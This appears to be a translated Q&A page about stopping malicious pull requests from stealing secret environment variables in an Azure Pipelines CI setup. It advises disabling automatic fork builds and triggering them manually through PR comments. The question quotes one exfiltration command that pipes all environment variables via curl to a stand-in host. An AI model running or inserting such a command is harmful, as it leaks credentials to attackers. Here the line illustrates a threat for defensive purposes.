continuous-integration - 在公共 PR 上运行 Azure Pipeline CI 之前运行安全检查
问题描述
我有一个公共回购。随机的 GitHub 用户可以自由创建拉取请求,这很棒。
我的 CI 管道在名为 repo 的普通文件中描述pipelines.yml
(我们使用 Azure 管道)。
不幸的是,这意味着一个随机的 GitHub 用户能够通过创建一个 PR 来窃取我所有的秘密环境变量,他们在其中编辑pipelines.yml
并添加一个 bash 脚本行,例如:
export | curl -XPOST 'http://pastebin-bla/xxxx'
或者运行任意代码,一般来说。正确的?
如何验证恶意 PR 至少不会更改一些关键文件?
解决方案
如何验证恶意 PR 至少不会更改一些关键文件?
恐怕我们不能限制 PR 至少不改变一些关键文件。
作为解决方法,我们可以关闭自动分叉构建,而是使用拉取请求注释作为手动构建这些贡献的一种方式,这样您就有机会在触发构建之前查看代码。
您可以查看文档考虑手动触发分叉构建以获取更多详细信息。
推荐阅读
- arduino - 多普勒雷达模拟读取()
- r - 过滤以字符串开头的条目 (str_detect)
- c# - 从 C# 调用 C++ DLib 导致错误分配异常
- vba - 激活/停用超链接
- google-apps-script - Google 表格中的非典型合并(只有少数常见列)
- python - 使用 cv2.polylines 旋转点和绘图
- node.js - NodeJS 中的 Puppeteer 报告“错误:节点不可见或不是 HTMLElement”
- vba - 强制英国日期格式 Excel VBA
- authentication - 在 laravel 5.6 中更改哈希函数中的密码
- neo4j - spring-data-neo4j:@Query 深度